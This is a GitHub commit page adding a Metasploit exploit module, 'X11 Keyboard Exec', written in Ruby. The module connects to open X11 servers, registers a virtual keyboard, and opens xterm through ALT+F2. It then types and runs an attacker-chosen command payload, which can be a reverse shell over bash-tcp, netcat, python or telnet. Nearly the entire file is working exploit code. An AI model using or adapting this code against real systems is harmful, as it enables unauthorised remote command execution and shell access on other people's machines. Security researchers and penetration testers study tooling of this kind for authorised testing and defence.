Skip to content

Commit 13a69e4

Browse files
author
xistence
committed
X11 Keyboard Exec
1 parent 768dca5 commit 13a69e4

File tree

1 file changed

+252
-0
lines changed

1 file changed

+252
-0
lines changed
Lines changed: 252 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,252 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
10+
Rank = ExcellentRanking
11+
include Msf::Exploit::Remote::Tcp
12+
13+
KB_KEYS = {
14+
'1' => "\x0a",
15+
'2' => "\x0b",
16+
'3' => "\x0c",
17+
'4' => "\x0d",
18+
'5' => "\x0e",
19+
'6' => "\x0f",
20+
'7' => "\x10",
21+
'&' => "\x10",
22+
'8' => "\x11",
23+
'9' => "\x12",
24+
'(' => "\x12",
25+
'0' => "\x13",
26+
')' => "\x13",
27+
'-' => "\x14",
28+
'=' => "\x15",
29+
'q' => "\x18",
30+
'w' => "\x19",
31+
'e' => "\x1a",
32+
'r' => "\x1b",
33+
't' => "\x1c",
34+
'y' => "\x1d",
35+
'u' => "\x1e",
36+
'i' => "\x1f",
37+
'o' => "\x20",
38+
'p' => "\x21",
39+
'[' => "\x22",
40+
'{' => "\x22",
41+
']' => "\x23",
42+
'}' => "\x23",
43+
'a' => "\x26",
44+
's' => "\x27",
45+
'd' => "\x28",
46+
'f' => "\x29",
47+
'g' => "\x2a",
48+
'h' => "\x2b",
49+
'j' => "\x2c",
50+
'k' => "\x2d",
51+
'l' => "\x2e",
52+
';' => "\x2f",
53+
':' => "\x2f",
54+
"'" => "\x30",
55+
'"' => "\x30",
56+
'`' => "\x31",
57+
'~' => "\x31",
58+
'lshift' => "\x32",
59+
'\\' => "\x33",
60+
'|' => "\x33",
61+
'z' => "\x34",
62+
'x' => "\x35",
63+
'c' => "\x36",
64+
'v' => "\x37",
65+
'b' => "\x38",
66+
'n' => "\x39",
67+
'm' => "\x3a",
68+
',' => "\x3b",
69+
'<' => "\x3b",
70+
'.' => "\x3c",
71+
'>' => "\x3c",
72+
'/' => "\x3d",
73+
'*' => "\x3f",
74+
'alt' => "\x40",
75+
' ' => "\x41",
76+
'f2' => "\x44"
77+
}
78+
79+
80+
def initialize(info = {})
81+
super(update_info(info,
82+
'Name' => 'X11 Keyboard Exec',
83+
'Description' => %q{
84+
This module exploits open X11 servers by connecting and registering a
85+
virtual keyboard. The virtual keyboard is used to open an xterm terminal
86+
and type and execute the specified payload.
87+
},
88+
'Author' =>
89+
[
90+
'xistence <xistence[at]0x90.nl>'
91+
],
92+
'Privileged' => false,
93+
'License' => MSF_LICENSE,
94+
'Payload' =>
95+
{
96+
'DisableNops' => true,
97+
'Compat' =>
98+
{
99+
'PayloadType' => 'cmd cmd_bash',
100+
'RequiredCmd' => 'gawk bash-tcp python telnet netcat'
101+
}
102+
},
103+
'Platform' => ['unix'],
104+
'Arch' => ARCH_CMD,
105+
'Targets' => [['Automatic', {}]],
106+
'DisclosureDate' => 'Jul 10 2015',
107+
'DefaultTarget' => 0))
108+
109+
register_options(
110+
[
111+
Opt::RPORT(6000)
112+
], self.class)
113+
end
114+
115+
def press_key( key )
116+
req = "\x8e\x02\x09\x00"
117+
req << "\x02"
118+
req << key
119+
req << "\x01" # Press key
120+
req << "\x00" * 8
121+
req << "\x00\x05\x00\x05"
122+
req << "\x00\x91\x01\x04"
123+
req << "\x00\x03\x00\x02"
124+
req << "\x00" * 4
125+
req << "\x00\x07\x00\x07"
126+
req << "\x00\x2b\x00\x01"
127+
req << "\x00"
128+
129+
sock.put(req)
130+
131+
res = sock.recv(1024)
132+
# Response should give 1 on first byte (Success)
133+
unless res and res[0] == "\x01"
134+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key}")
135+
end
136+
137+
end
138+
139+
def release_key( key )
140+
req = "\x8e\x02\x09\x00"
141+
req << "\x03"
142+
req << key
143+
req << "\x00" # Release key
144+
req << "\x00" * 4
145+
req << "\x00\x08\x01\x00"
146+
req << "\x00" * 8
147+
req << "\x00\x00\x00\x02"
148+
req << "\x00" * 4
149+
req << "\x00\x07\x00\x07"
150+
req << "\x00\x2b\x00\x01"
151+
req << "\x00"
152+
153+
sock.put(req)
154+
155+
res = sock.recv(1024)
156+
# Response should give 1 on first byte (Success)
157+
unless res and res[0] == "\x01"
158+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key}")
159+
end
160+
161+
end
162+
163+
def type_command( command )
164+
# Specify the special keys which need to have shift pressed first to type
165+
specialkeys = '<>{}|"&()'.chars.to_a
166+
values = command.chars.to_a
167+
values.each do |value|
168+
key = KB_KEYS[value]
169+
# Special keys need a shift pressed to be typed
170+
if Regexp.union(specialkeys) =~ value
171+
press_key(KB_KEYS["lshift"]) # [lshift]
172+
press_key(key)
173+
release_key(KB_KEYS["lshift"])
174+
release_key(key)
175+
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
176+
elsif value =~ /[A-Z]/
177+
press_key(KB_KEYS["lshift"]) # [lshift]
178+
press_key(KB_KEYS[value.downcase])
179+
release_key(KB_KEYS["lshift"])
180+
release_key(KB_KEYS[value.downcase])
181+
# All normal keys which are not special keys or uppercase characters
182+
else
183+
press_key(key)
184+
release_key(key)
185+
end
186+
end
187+
# Send an enter
188+
press_key( "\x24" ) # [enter]
189+
release_key( "\x24" ) # [enter]
190+
end
191+
192+
193+
def exploit
194+
195+
begin
196+
connect
197+
198+
print_status("#{rhost}:#{rport} - Register keyboard")
199+
req = "\x6c" # Byte order (Little-Endian)
200+
req << "\x00" # Unused
201+
req << "\x0b\x00" # Protocol major version: 11
202+
req << "\x00\x00" # Protocol minor version: 0
203+
req << "\x00\x00" # Authorization protocol name length: 0
204+
req << "\x00\x00" # Authorization protocol data length: 0
205+
req << "\x00\x00" # Unused
206+
# Keyboard registration
207+
req << "\x62\x00\x05\x00\x09\x00\x60\x03"
208+
req << "XKEYBOARD"
209+
req << "\x00"
210+
req << "\x00\x00"
211+
sock.put(req)
212+
213+
# Retrieve the whole X11 details response
214+
res = sock.recv(4096)
215+
216+
# Response should give 0x01 in first byte (Success)
217+
unless res and res[0] == "\x01"
218+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Registering keyboard failed")
219+
end
220+
221+
# Press ALT+F2 to start up "Run application"
222+
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
223+
press_key(KB_KEYS["alt"])
224+
press_key(KB_KEYS["f2"])
225+
release_key(KB_KEYS["alt"])
226+
release_key(KB_KEYS["f2"])
227+
228+
# Wait a second to open the dialog
229+
select(nil, nil, nil, 1)
230+
231+
# Start a xterm terminal
232+
print_status("#{rhost}:#{rport} - Opening xterm")
233+
type_command("xterm")
234+
235+
# Wait a second to open the terminal
236+
select(nil, nil, nil, 1)
237+
238+
# "Type" our payload and execute it
239+
print_status("#{rhost}:#{rport} - Typing and executing payload")
240+
command = "nohup #{payload.encoded} &2>/dev/null;exit"
241+
242+
type_command(command)
243+
244+
245+
handler
246+
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
247+
print_error("#{rhost}:#{rport} - #{e.message}")
248+
ensure
249+
disconnect
250+
end
251+
end
252+
end

0 commit comments

Comments
 (0)